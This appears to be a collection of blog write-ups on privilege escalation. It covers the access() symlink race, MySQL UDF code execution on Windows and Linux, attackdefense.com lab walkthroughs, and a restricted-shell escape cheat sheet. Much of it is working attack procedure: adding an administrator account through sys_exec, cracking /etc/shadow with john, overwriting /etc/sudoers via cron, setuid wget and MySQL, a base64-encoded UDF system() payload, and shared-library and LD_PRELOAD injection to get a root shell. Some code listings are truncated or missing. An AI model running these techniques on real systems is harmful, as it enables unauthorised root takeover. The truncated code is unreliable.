Exploit access() with Symlinks

About access()

The access() system call checks the accessibility of the file specified in pathname based on a process’s real user and group IDs (and supplementary group IDs).

#include <unistd.h>
int access(const char *pathname, int mode);

If pathname is a symbolic link, access() dereferences it. If all of the permissions specified in mode are granted on pathname, then access() returns 0; if at least one of the requested per- missions is not available (or an error occurred), then access() returns –1.

The Issue

The time gap between a call to access() and a subsequent operation on a file means that there is no guarantee that the information returned by access() will still be true at the time of the later operation (no matter how brief the interval). This situation could lead to security holes in some application designs.


Suppose, for example, that we have a set-user-ID-root program that uses access() to check that a file is accessible to the real user ID of the program, and, if so, per- forms an operation on the file (e.g., open() or exec()).

The problem is that if the pathname given to access() is a symbolic link, and a malicious user manages to change the link so that it refers to a different file before the second step, then the set-user-ID-root may end up operating on a file for which the real user ID does not have permission. (This is an example of the type of time-of- check, time-of-use race condition described in Section 38.6.) For this reason, recommended practice is to avoid the use of access() altogether (see, for example, [Borisov, 2005]). In the example just given, we can achieve this by temporarily changing the effective (or file system) user ID of the set-user-ID process, attempting the desired operation (e.g., open() or exec()), and then checking the return value and errno to determine whether the operation failed because of a permissions problem.


I will update this section with a demo as soon as I am back at work.

MySql User-Defined Function (UDF) Privilege Escalation (Windows & Linux)

We will get in to making our own functions in later posts but for now the UDF compiled shared objects from SQLMap are great.


Windows Escalation

mysql> USE mysql;
mysql> CREATE TABLE pwn(line blob);
mysql> INSERT INTO pwn values(load_file('C://xampplite//htdocs//mail//lib_mysqludf_sys.dll'));
mysql> SELECT * FROM mysql.pwn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
mysql> CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
mysql> SELECT sys_exec("net user pwned pwn123! /add");
mysql> SELECT sys_exec("net localgroup Administrators pwned /add");

Linux Escalation

mysql> use mysql;
mysql> create table pwn(line blob);
mysql> insert into pwn values(load_file('/home/npn/lib_mysqludf_sys.so'));
mysql> select * from pwn into dumpfile '/usr/lib/lib_mysqludf_sys.so';
mysql> create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
mysql> select sys_exec('id > /tmp/out; chown npn.npn /tmp/out');

Verify Command Execution

user@box:/$ cat /tmp/out uid=0(root) gid=0(root) groups=0(root)

You can now execute code as root, what more do you need? You can allow SUDO all no password or create SETUID shell program with c, execute a reverse shell etc, whatever you want; be creative.

Multi User Escalation III linux-privilege-escalation | Level: Easy

The Challenge

So you’ve got a foothold on a regular user account on a Linux box? You’ve tried to escalate privileges to root but nothing seems to work? Keep in mind that many a time, you might have to escalate first to another non-root user with some privileges on the system and then try to escalate to root! Sometimes the user is the weakest part of the security chain! All required tools are available on the lab system.

Your mission is to get a root shell on the box! 

Challenge Accepted

First we ls -la, nothing, so let’s try ls -la /. We see /wordlist and when we check it out we see a gunzipped rockyou.txt. I gunzip it and then know we have to bruteforce something, one of my first guesses was that it might be the shadow file, if I can read it then we know it’s the target.

student@attackdefense:/wordlist$ ls /wordlist/
mypasswd  rockyou.txt
student@attackdefense:/wordlist$ cat /etc/shadow

We can cat /etc/shadow, so I check for a common tool that is to convert shadow file hashes into a format we can use with john to crack, unshadow. We find unshadow so now we simply pass it passwd and shadow as arguments.

student@attackdefense:/wordlist$ unshadow /etc/passwd /etc/shadow > crackthis

Now time to use john and provide rockyou.txt as our wordlist and crackthis as the hash to crack.

student@attackdefense:/wordlist$ john --wordlist=rockyou.txt -show crackthis

It worked, now we have the password!

student@attackdefense:/wordlist$ su admin
admin@attackdefense:/wordlist$ whoami

Now we’re in, let’s look around. .sudo_as_admin_successful stands out but do does the SETUID chpasswd owned by root, let’s try that.

admin@attackdefense:~$ ls -la
total 28
drwxr-x— 1 admin admin 4096 Mar 28 10:24 .
drwxr-xr-x 1 root root 4096 Sep 26 2018 ..
-rw——- 1 admin admin 17 Mar 28 10:30 .bash_history
-rw-r–r– 1 root root 0 Sep 26 2018 .sudo_as_admin_successful
-rwsr-xr-x 1 root root 8568 Sep 26 2018 chpasswd
admin@attackdefense:~$ ./chpasswd root
Invalid User!

It was worth a try, right? Let’s see if we can find valid usernames…

admin@attackdefense:~$ strings chpasswd | grep "Invalid User" -A ...

Great, we found some valid users, we have been both student and admin, let’s try to change teacher’s password…

admin@attackdefense:~$ ./chpasswd teacher
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
admin@attackdefense:~$ su teacher

It worked, first things first, sudo -l.

teacher@attackdefense:/home/admin$ sudo -l
User teacher may run the following commands on attackdefense:
    (root) NOPASSWD: /usr/bin/perl

Awesome, we can run perl as root with no password, if you have seen some of my older posts you know what’s next, simply run perl with -e switch to execute /bin/sh as root, sweet!

teacher@attackdefense:/home/admin$ sudo /usr/bin/perl -e 'exec "/bin/sh";'
# id
uid=0(root) gid=0(root) groups=0(root)

Game Over.

Escape Jailed (S)HELL


Check what commands you can use


Check for piping and redirection operators


Check for available languages

find / -name perl* 2>/dev/null
find / -name python* 2>/dev/null
find / -name ruby* 2>/dev/null
find / -name lua* 2>/dev/null
find / -name php* 2>/dev/null
find / -name go* 2>/dev/null

No password sudo commands

sudo -l

Check for SUID binaries

find / -perm -u=s -type f 2>/dev/null

Check current (s)hell

echo $SHELL

List environmental variables


Common Escape Techniques

  • If “/” is allowed you can run /bin/sh or /bin/bash.
  • If you can run cp command you can copy the /bin/sh or /bin/bash
  • into your directory.
  • From ftp > !/bin/sh or !/bin/bash 4) From gdb > !/bin/sh or !/bin/bash
  • From more/man/less > !/bin/sh or !/bin/bash
  • Fromvim>!/bin/shor!/bin/bash
  • From rvim > :python import os; os.system(“/bin/bash ) 8) From scp > scp -S /path/yourscript x y:
  • From awk > awk ‘BEGIN {system(“/bin/sh or /bin/bash”)}’
  • From find > find / -name test -exec /bin/sh or /bin/bash \;

Command Line Escapes

python -c 'import pty; pty.spawn("/bin/sh")'
echo os.system('/bin/bash')
/bin/sh -i
perl —e 'exec "/bin/sh";'
awk ‘BEGIN {system(“/bin/sh”)}’
find / -name *.log –exec /bin/sh \;

Language Interactive Shell Escapes

Perl Shell

exec "/bin/sh";

Ruby Shell

exec "/bin/sh"

Lua Shell


PHP Shell


Except Shell

except spawn sh

While Using a Program


exec "/bin/sh"


# or
:set shell=/bin/bash:shell

Nmap Interactive








Advanced Techniques

  • From ssh > ssh username@IP – t “/bin/sh” or “/bin/bash”
  • From ssh2 > ssh username@IP -t “bash –noprofile”
  • From ssh3 > ssh username@IP -t “() { :; }; /bin/bash” (shellshock)
  • From ssh4 > ssh -o ProxyCommand=”sh -c /tmp/yourfile.sh” (SUID)
  • From git > git help status > you can run it then !/bin/bash
  • From pico > pico -s “/bin/bash” then you can write /bin/bash and then CTRL + T
  • From zip > zip /tmp/test.zip /tmp/test -T –unzip-command=”sh -c /bin/bash”
  • From tar > tar cf /dev/null testfile –checkpoint=1 –checkpoint- action=exec=/bin/bash

Some commands referenced from: 44592-linux-restricted-shell-bypass-guide.pdf

The Golden Logs | linux-privilege-escalation from attackdefence.com labs | Level: Intermediate

The Challenge

A running Linux server is a complicated beast with dozens of things happening in the background. Admins might at times forget to clean up the system properly when they install/update/remove things. Most of the times, these scenarios can be debugged with error logs. For an attacker, these logs can be a treasure trove! It allows him to understand how everything is running in the server and what kind of errors are happening. Of course, these logs might sometimes be spread over the system in different formats based on the admin’s personal preferences.

Your mission is to get a root shell on the box!

Challenge Accepted

First things first, easy wins… sudo -l

student@attackdefense:~$ sudo -l
User student may run the following commands on attackdefense:
    (root) NOPASSWD: /etc/init.d/cron
    (root) NOPASSWD: /etc/init.d/postfix

Now we know what we can run as sudo, let’s start the services…

student@attackdefense:~$ sudo /etc/init.d/cron start
 * Starting periodic command scheduler cron                                                                                                                                                                                                        [ OK ]
student@attackdefense:~$ sudo /etc/init.d/cron reload
 * Reloading configuration files for periodic command scheduler cron                                                                                                                                                                               [ OK ]

Great, they are running but we don’t really know what we are looking for, so I go for another easy way to find out and only look for files newer than 5 mins ago…

student@attackdefense:/$ find /var -cmin -5 2>/dev/null

Something should stand out since we started services as root… /var/mail/root, let’s check it out..

From root@c236e95ceed7  Thu Mar 28 16:42:01 2019
Return-Path: <root@c236e95ceed7>
X-Original-To: root
Delivered-To: root@c236e95ceed7
Received: by c236e95ceed7 (Postfix, from userid 0)
        id BB51C19873EB; Thu, 28 Mar 2019 16:42:01 +0000 (UTC)
From: root@c236e95ceed7 (Cron Daemon)
To: root@c236e95ceed7
Subject: Cron <root@attackdefense> /bin/sh /opt/exec.sh
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 8bit
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <PATH=/usr/bin:/bin>
X-Cron-Env: <LOGNAME=root>
Message-Id: <20190328164201.BB51C19873EB@c236e95ceed7>
Date: Thu, 28 Mar 2019 16:42:01 +0000 (UTC)

/bin/sh: 0: Can't open /opt/exec.sh

student@attackdefense:/$ cat /opt/exec.sh
cat: /opt/exec.sh: No such file or directory

It does not exist, so why don’t we try and write the file.

student@attackdefense:/$ echo "echo 'student ALL=(ALL) NOPASSWD:ALL' > /etc/sudoers" > /opt/exec.sh

Wait for cron to run or restart and then check we can sudo all with no password…

student@attackdefense:/$ sudo -l
User student may run the following commands on attackdefense:

Awesome, it worked! Now we should all know the next bit by now…

student@attackdefense:/$ sudo /bin/bash
root@attackdefense:/# id
uid=0(root) gid=0(root) groups=0(root)

Awesome, see how just a few simple commands get you to root. I didn’t even enum first as I always check for low hanging fruit, sudo -l being the lowest in my opinion closely followed by SETUID.

Restricted Shell linux -privilege-escalation | https://attackdefense.com Level: Hard

The Challenge

It is very common on multi-user systems to restrict the functionality available to individual users. A common way to do this is by using a custom built restricted shell. This shell only allows access to a certain set of commands required by the user. The rest are unavailable. In this challenge, you have to breakout of the restricted shell and figure out how to become the root user! This lab, like any good linux privilege escalation adventure has a bit of everything – setuid binaries, permissions and overridable configurations. Enjoy!

Your mission is to get a root shell on the box! 

Challenge Accepted

To be honest this challenge is labelled hard but I found it wasy easier than the easy ones, I put it down to experience since I often priv. esc. through configuration issues and not exploits, I can count on two hands the times I have needed to rely on an exploit, look deep enough and you WILL find a configuration issue, honestly, truth is very few people can’t set up systems as they should be. In fact, during my time auditing I met one engineer who literally did everything right, to the point he schooled everyone on MS internals and config.

The Solution

I went straight for one of the first things I try, vim escape. Just type vim, then hit esc button then type the following…

:set shell=/bin/bash

Easy, now we are free. Time to see what is next, again turn to next thing I try, find SETUID files.

student@attackdefense:/usr/bin$ find / -perm -u=s -type f 2>/dev/null

One should stand out right away, wget! Well we know we can select -o to write the file and since we are root that can be anywhere. So what is the plan? Easy, make sudoers file locally that allows sudo all with no password, my favourite trick, then start local http server and wget running as root to write file to /etc/sudoers.

student@attackdefense:/$ echo "student  ALL=(ALL) NOPASSWD: ALL" > /tmp/sudoers
student@attackdefense:/$ python -m SimpleHTTPServer 8080 &
student@attackdefense:/$ # We use & to background http server so we can wget in same terminal
student@attackdefense:/tmp$ wget -O /etc/sudoers
--2019-03-26 01:23:32--
Connecting to connected.
HTTP request sent, awaiting response... - - [26/Mar/2019 01:23:32] "GET /tmp/sudoers HTTP/1.1" 200 -
200 OK
Length: 33 [application/octet-stream]
Saving to: '/etc/sudoers'

/etc/sudoers                                  100%[=================================================================================================>]      33  --.-KB/s    in 0s

2019-03-26 01:23:32 (9.81 MB/s) - '/etc/sudoers' saved [33/33]

Now for the final act…

student@attackdefense:/tmp$ sudo /bin/bash
root@attackdefense:/tmp# id
uid=0(root) gid=0(root) groups=0(root)

The Golden Logs II

This challenge was odd, it said easy yet took me longer than the hard one, why? Because I over thought it, I knew what needed to be done, I just failed to check the basics first and overlooked the key bit of info. Never forget enumeration is KEY! Do not overlook ANYTHING!

The Challenge

A running Linux server is a complicated beast with dozens of things happening in the background. Running services create logs and for an attacker, these logs can be a treasure trove!

Your mission is to get a root shell on the box!

Challenge Accepted

First bit was easy, I knew it was about logs because of challenge info and title so figured we would want something either setuid or a service running as root that dumps things to a log file. So first thing was sudo -l followed by a grep of /var/log/mysql as we knew sudo init.d started mysql.

student@attackdefense:~$ sudo -l
User student may run the following commands on attackdefense:
    (root) NOPASSWD: /etc/init.d/mysql
student@attackdefense:~$ grep -r pass /var/log/mysql
/var/log/mysql/log:Connection succeeded for user root@localhost to database mysql using password adlabs@adlabs

Next I added the creds to my local config file so when I tried mysql I dropped straight in as root user.

student@attackdefense:~$ echo "[client]" > .my.cnf
student@attackdefense:~$ echo "user=root" >> .my.cnf
student@attackdefense:~$ echo "password=adlabs@adlabs" >> .my.cnf

Ok, now I am in but from experience I know we can’t just drop into a shell even though the system command \! might seem tempting you drop into shell with the user privs who invoked mysql, your user not the db user.

We also know that we can try and load a plugin in a number of ways, all of which I tried, main issues was this…

mysql> select * from user INTO OUTFILE '/tmp/test';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
mysql> SELECT @@GLOBAL.secure_file_priv;
| @@GLOBAL.secure_file_priv |
| /var/lib/mysql-files/     |
1 row in set (0.00 sec)

secure-file-priv, what’s that? secure-file-priv is a variable is used to limit the effect of data import and export operations, such as those performed by the LOAD DATA and SELECT ... INTO OUTFILE statements and the LOAD_FILE()function. These operations are permitted only to users who have the FILE privilege. Basically, good idea for security! Take note.

However there is always a way round, so I tried all sorts of shenanigans and wasted a good hour when the writing was on the wall. I failed to look at what plugins we already had installed!

student@attackdefense:/usr/lib/mysql/plugin$ ls -la /usr/lib/mysql/plugin
total 664
drwxr-xr-x 1 root root   4096 Oct 18 14:51 .
drwxr-xr-x 1 root root   4096 Sep 24  2018 ..
-rw-r--r-- 1 root root  21224 Jul 27  2018 adt_null.so
-rw-r--r-- 1 root root   6288 Jul 27  2018 auth_socket.so
-rw-r--r-- 1 root root  44144 Jul 27  2018 connection_control.so
-rw-r--r-- 1 root root 112792 Jul 27  2018 innodb_engine.so
-rw-r--r-- 1 root root  84512 Jul 27  2018 keyring_file.so
-rwxr-xr-x 1 root root  13192 Oct 18 14:51 lib_mysqludf_sys.so
-rw-r--r-- 1 root root 158688 Jul 27  2018 libmemcached.so
-rw-r--r-- 1 root root   5824 Jul 27  2018 locking_service.so
-rw-r--r-- 1 root root  10840 Jul 27  2018 mypluglib.so
-rw-r--r-- 1 root root   6064 Jul 27  2018 mysql_no_login.so
-rw-r--r-- 1 root root  56064 Jul 27  2018 rewriter.so
-rw-r--r-- 1 root root  56936 Jul 27  2018 semisync_master.so
-rw-r--r-- 1 root root  14768 Jul 27  2018 semisync_slave.so
-rw-r--r-- 1 root root  27568 Jul 27  2018 validate_password.so
-rw-r--r-- 1 root root  27200 Jul 27  2018 version_token.so

One instantly stands out…

-rwxr-xr-x 1 root root 13192 Oct 18 14:51 lib_mysqludf_sys.so

Let’s see what this is…


TL;DR — lib_mysqludf_sys contains a number of functions that allows one to interact with the operating system.

Github info.html

Turns out we already have exactly what we need, this library does exactly what the shared object I created tried to do, except I could not load a plugin but it was required anyway. Lesson here really is to not overlook the basics, I wasted time when a quick ls -la would have solved it all.

The Solution

student@attackdefense:/usr/lib/mysql/plugin$ mysql
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 12
Server version: 5.7.23-0ubuntu0.18.04.1 (Ubuntu)

Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';
ERROR 1125 (HY000): Function 'sys_eval' already exists
mysql> sys_eval("id");
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'sys_eval("id")' at line 1mysql> SELECT sys_eval("id");+-----------------------------------------+| sys_eval("id")                          |+-----------------------------------------+| uid=0(root) gid=0(root) groups=0(root)
1 row in set (0.04 sec)

mysql> SELECT sys_eval("echo 'student ALL=(ALL) NOPASSWD:ALL' > /etc/sudoers");
| sys_eval("echo 'student ALL=(ALL) NOPASSWD:ALL' > /etc/sudoers") |
| NULL                                                             |
1 row in set (0.02 sec)

mysql> exit
student@attackdefense:/usr/lib/mysql/plugin$ sudo -l
User student may run the following commands on attackdefense:
student@attackdefense:/usr/lib/mysql/plugin$ sudo /bin/bash
root@attackdefense:/usr/lib/mysql/plugin# id
uid=0(root) gid=0(root) groups=0(root)


During this challenge, I had to use a few old tricks, some of which I knew much earlier in my career so sharing in the hope they help others.

Writing Source Code to File without Text Editor/Echo

Sometimes you need to write exploit code but standard echos etc take too long to escape properly when the code is complex, base64 to the rescue. First base64 encode the payload.

student@attackdefense:/tmp$ echo "I2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzdGRsaWIuaD4KCmVudW0gSXRlbV9yZXN1bHQge1NUUklOR19SRVNVTFQsIFJFQUxfUkVTVUxULCBJTlRfUkVTVUxULCBST1dfUkVTVUxUfTsKCnR5cGVkZWYgc3RydWN0IHN0X3VkZl9hcmdzIHsKCXVuc2lnbmVkIGludAkJYXJnX2NvdW50OwoJZW51bSBdGVtX3Jlc3VsdAkqYXJnX3R5cGU7CgljaGFyIAkJCSoqYXJnczsKCXVuc2lnbmVkIGxvbmcJCSpsZW5ndGhzOwoJY2hhcgkJCSptYXliZV9udWxsOwp9IFVERl9BUkdTOwoKdHlwZWRlZiBzdHJ1Y3Qgc3RfdWRmX2luaXQgewoJY2hhcgkJCW1heWJlX251bGw7Cgl1bnNpZ25lZCBpbnQJCWRlY2ltYWxzOwoJdW5zaWduZWQgbG9uZyAJCW1heF9sZW5ndGg7CgljaGFyCQkJKnB0cjsKCWNoYXIJCQljb25zdF9pdGVtOwp9IFVERl9JTklUOwoKaW50IGRvX3N5c3RlbShVREZfSU5JVCAqaW5pdGlkLCBVREZfQVJHUyAqYXJncywgY2hhciAqaXNfbnVsbCwgY2hhciAqZXJyb3IpCnsKCWlmIChhcmdzLT5hcmdfY291bnQgIT0gMSkKCQlyZXR1cm4oMCk7CgoJc3lzdGVtKGFyZ3MtPmFyZ3NbMF0pOwoKCXJldHVybigwKTsKfQ==" | base64 -d > priv.c
student@attackdefense:/tmp$ cat priv.c
#include <stdio.h>
#include <stdlib.h>


typedef struct st_udf_args {
        unsigned int            arg_count;
        enum Item_result        *arg_type;
        char                    **args;
        unsigned long           *lengths;
        char                    *maybe_null;

typedef struct st_udf_init {
        char                    maybe_null;
        unsigned int            decimals;
        unsigned long           max_length;
        char                    *ptr;
        char                    const_item;

int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
        if (args->arg_count != 1)



Dump MySql Environment and Config Variables

student@attackdefense:~$ mysqld --verbose --help
student@attackdefense:~$ mysqladmin variables -u root -p

Understand MySql/MySqld etc will be Invoked

student@attackdefense:~$ mysql --print-defaults
mysql would have been started with the following arguments:
--user=root --password=*****
student@attackdefense:~$ mysqld --print-defaults
mysqld would have been started with the following arguments:
--skip_name_resolve --user=root --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306 --basedir=/usr --datadir=/var/lib/mysql --tmpdir=/tmp --lc-messages-dir=/usr/share/mysql --skip-external-locking --bind-address= --key_buffer_size=16M --max_allowed_packet=16M --thread_stack=192K --thread_cache_size=8 --myisam-recover-options=BACKUP --query_cache_limit=1M --query_cache_size=16M --expire_logs_days=10 --max_binlog_size=100M
Shared Library Injection

Look’s like I am first again to do a write-up for these challenges in the attackdefense.com intermediate and hard categories. Hopefully this post will help turn hard challenges into easy pwnage moving forward.

Library Chaos (Hard)

A Linux system runs a complicated system of well referenced shared libraries and programs that use them. It is very common for administrators to move / delete things but forget to remove references! Most of the time this just causes programs to error and not run. However, in some cases this can be exploited to escalate privileges! 

Your mission is to get a root shell on the box! 

What are we looking for?

Why this command first? Well, I know we are looking to exploit a missing library reference to become root, this would be pointless if binary was not setuid or sudo, so we look for SETUID bins right away.

student@attackdefense:~$ find / -perm -u=s -type f 2>/dev/null

/usr/bin/welcome stands out, so let’s try that…

student@attackdefense:~$ /usr/bin/welcome
/usr/bin/welcome: error while loading shared libraries: libwelcome.so: cannot open shared object file: No such file or directory

Error while loading shared libraries! This is exactly what we want to see, if a binary is missing a shared library, if we can write to where it expects to load it from or if we can export the library load path then we win.

Like any good testers, we want to know a little more before jumping in, so we take a look at the dynamic section of the elf to see more info about the library.

student@attackdefense:~$ readelf -d /usr/bin/welcome
 0x0000000000000001 (NEEDED) Shared library: [libwelcome.so]
 0x0000000000000001 (NEEDED) Shared library: [libc.so.6]

Great, so we know it’s required but where does it load from? We can use LDD for that…

student@attackdefense:~$ LD_DEBUG=libs ldd /usr/bin/welcome | grep libwelcome.so | grep "trying file"

You will get a lot of results, you could put the library in any of these places but the first one is best for us as we know we can write to our own user directory.

86:       trying file=/home/student/lib/libwelcome.so

Now we try the fun part, we have all the bits we need. We do need some code we want to run though, so I choose a standard library injection file.

Next all we have to do is create lib in our own directory and then compile our shared library to libwelcome.so.

student@attackdefense:~$ mkdir lib && cd lib
student@attackdefense:~$ vi shared-file.c
student@attackdefense:~$ gcc -shared -o libwelcome.so -fPIC shared-file.c

We try and run it, but we get an error.

student@attackdefense:~/lib$ /usr/bin/welcome
/usr/bin/welcome: symbol lookup error: /usr/bin/welcome: undefined symbol: welcome

Sounds scary, but don’t worry a symbol is basically a global variable exported from compiled source, we can just add a dummy int value. To check it really missing the symbol we can verfiy that.

student@attackdefense:~/lib$ readelf -s /usr/bin/welcome | grep welcome
     4: 0000000000000000 0 FUNC GLOBAL DEFAULT  UND welcome
    51: 0000000000000000 0 FUNC GLOBAL DEFAULT  UND welcome

As expected, it wants the global variable as programmers know it but a symbol for the CPU sake.

The source code above exports the global variable welcome and that will fix the issue. Let’s re-try.

student@attackdefense:~/lib$ vi libwelcome.c
student@attackdefense:~/lib$ gcc -shared -o libwelcome.so -fPIC libwelcome.c
libwelcome.c: In function 'inject':
libwelcome.c:8:9: warning: implicit declaration of function 'setgid'; did you mean 'setenv'? [-Wimplicit-function-declaration]
libwelcome.c:9:9: warning: implicit declaration of function 'setuid'; did you mean 'setenv'? [-Wimplicit-function-declaration]
libwelcome.c:10:9: warning: implicit declaration of function 'execl' [-Wimplicit-function-declaration]
libwelcome.c:10:9: warning: incompatible implicit declaration of built-in function 'execl'
libwelcome.c:10:9: warning: missing sentinel in function call [-Wformat=]
student@attackdefense:~/lib$ ls
libwelcome.c  libwelcome.so  shared-file.c

It will show warnings but that is ok, no re-run the setuid.

Got r00t! Awesome. See nothing to be scared of, this was easy once you know how. I will do later posts on running process injection for shared libraries but you can go check that out yourself now if you’re hungry for more shared library privilege escalation.

Library Chaos II (Intermediate)

A Linux system runs a complicated system of well referenced shared libraries and programs that use them. It is very common for administrators to move / delete things but forget to remove references! Most of the time this just causes programs to error and not run. However, in some cases this can be exploited to escalate privileges! 

A Linux system runs a complicated system of well referenced shared libraries and programs that use them. It is very common for administrators to move / delete things but forget to remove references! Most of the time this just causes programs to error and not run. However, in some cases this can be exploited to escalate privileges! 

Your mission is to get a root shell on the box! 

Second challenge is similar, just easier.

student@attackdefense:~$ /usr/local/bin/token
/usr/local/bin/token: error while loading shared libraries: librandom.so: cannot open shared object file: No such file or directory
student@attackdefense:~$ LD_DEBUG=libs ldd /usr/local/bin/token | grep librandom.so | grep "trying file"
20: find library=librandom.so [0]; searching
20: trying file=/tmp/lib/tls/x86_64/avx512_1/x86_64/librandom.so
student@attackdefense:~$ #/tmp/ lol, we know we can write there
student@attackdefense:~/lib$ mkdir -p /tmp/lib/tls/x86_64/avx512_1/x86_64
student@attackdefense:~$ cd /tmp/lib/tls/x86_64/avx512_1/x86_64

We should be all set but let’s check for exported symbols to be sure…

student@attackdefense:/tmp/lib/tls/x86_64/avx512_1/x86_64$ readelf -s /usr/local/bin/token | grep random_token
 9: 0000000000201010 4 OBJECT  GLOBAL DEFAULT 24 random_token
 54: 0000000000201010 4 OBJECT  GLOBAL DEFAULT 24 random_token

We just simply exported random_token as a symbol by declaring it as a global variable. Now to finish the escalation.

student@attackdefense:/tmp/lib/tls/x86_64/avx512_1/x86_64$ vi random_token.c
student@attackdefense:/tmp/lib/tls/x86_64/avx512_1/x86_64$ gcc -shared -o librandom.so -fPIC random_token.c
random_token.c: In function 'inject':
random_token.c:8:9: warning: implicit declaration of function 'setgid'; did you mean 'setenv'? [-Wimplicit-function-declaration]
random_token.c:9:9: warning: implicit declaration of function 'setuid'; did you mean 'setenv'? [-Wimplicit-function-declaration]
random_token.c:10:9: warning: implicit declaration of function 'execl' [-Wimplicit-function-declaration]
random_token.c:10:9: warning: incompatible implicit declaration of built-in function 'execl'
random_token.c:10:9: warning: missing sentinel in function call [-Wformat=]
student@attackdefense:/tmp/lib/tls/x86_64/avx512_1/x86_64$ /usr/local/bin/token
# id
uid=0(root) gid=0(root) groups=0(root)
# echo "1337"
# uname -a
Linux attackdefense.com 4.15.0-46-generic #49-Ubuntu SMP Wed Feb 6 09:33:07 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

Great, that was simple. Now we have all the knowledge we need to exploit missing SETUID libs in future, remember to always check even the common binaries that are ‘usually fruitless’, never underestimate the actions of drunk sysadmins.

LD_PRELOAD Injection

This is the first write up I could find online for Linux Priv Esc, Load Order Matters, if that’s true and my Google skills don’t suck, sweet! 🙂 Load Order Matters is a privilege escalation challenge in the AttackDefence.com intermediate category.

So, what’s the deal?

Challenge Info

So you’ve got a foothold on a regular user account on a Linux box? You’ve tried to escalate privileges to root but nothing seems to work?  Remember the order in which programs, scripts and libraries load dictates what executes! 

Your mission is to get a root shell on the box! 

Mission Accepted

So, I know I am looking to exploit something via load order injection, so I go about trying to find what binary. sudo -l for the quick win…

student@attackdefense:/tmp$ sudo -l
Matching Defaults entries for student on attackdefense:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, env_keep+=LD_PRELOAD

User student may run the following commands on attackdefense:
    (root) NOPASSWD: /usr/sbin/apache2

Let’s try it…

student@attackdefense:/tmp$ sudo /usr/sbin/apache2
[Mon Mar 25 21:31:48.463122 2019] [core:warn] [pid 186] AH00111: Config variable ${APACHE_RUN_DIR} is not defined
apache2: Syntax error on line 80 of /etc/apache2/apache2.conf: DefaultRuntimeDir must be a valid directory, absolute or relative to ServerRoot

We get an error, it expects some ENV variables, let’s check our sudo -l again.

env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, env_keep+=LD_PRELOAD

All the info we need is here, can’t inject our own env variables directly because of env_reset, we cannot reset path either but we do see this, env_keep+=LD_PRELOAD. Awesome!


Normally the Linux dynamic loader ld-linux (see ld-linux(8) man page) finds and loads the shared libraries needed by a program, prepare the program to run, and then run it. The shared libraries (shared objects) are loaded in whatever order the loader needs them in order to resolve symbols.

LD_PRELOAD is an optional environmental variable containing one or more paths to shared libraries, or shared objects, that the loader will load before any other shared library including the C runtime library (libc.so) This is called preloading a library.

Preloading a library means that its functions will be used before others of the same name in later libraries. This enables library functions to be intercepted and replaced (overwritten.) As a result program behavior can be non-invasively modified, i.e. a recompile is not necessary.

The Escalation

If you read the above, not only should you get LD_PRELOAD but you should also be jumping up and down about what we are about to do next.

First, create shared object file..

student@attackdefense:/tmp$ vi ld-preload.c

Compile payload on target, in /tmp…

student@attackdefense:/tmp$  gcc -fPIC -shared -o /tmp/root.so ld-preload.c -nostartfiles

You will get some warnings, ignore them 🙂

Now, run to win…

student@attackdefense:/tmp$ LD_PRELOAD=/tmp/root.so apache2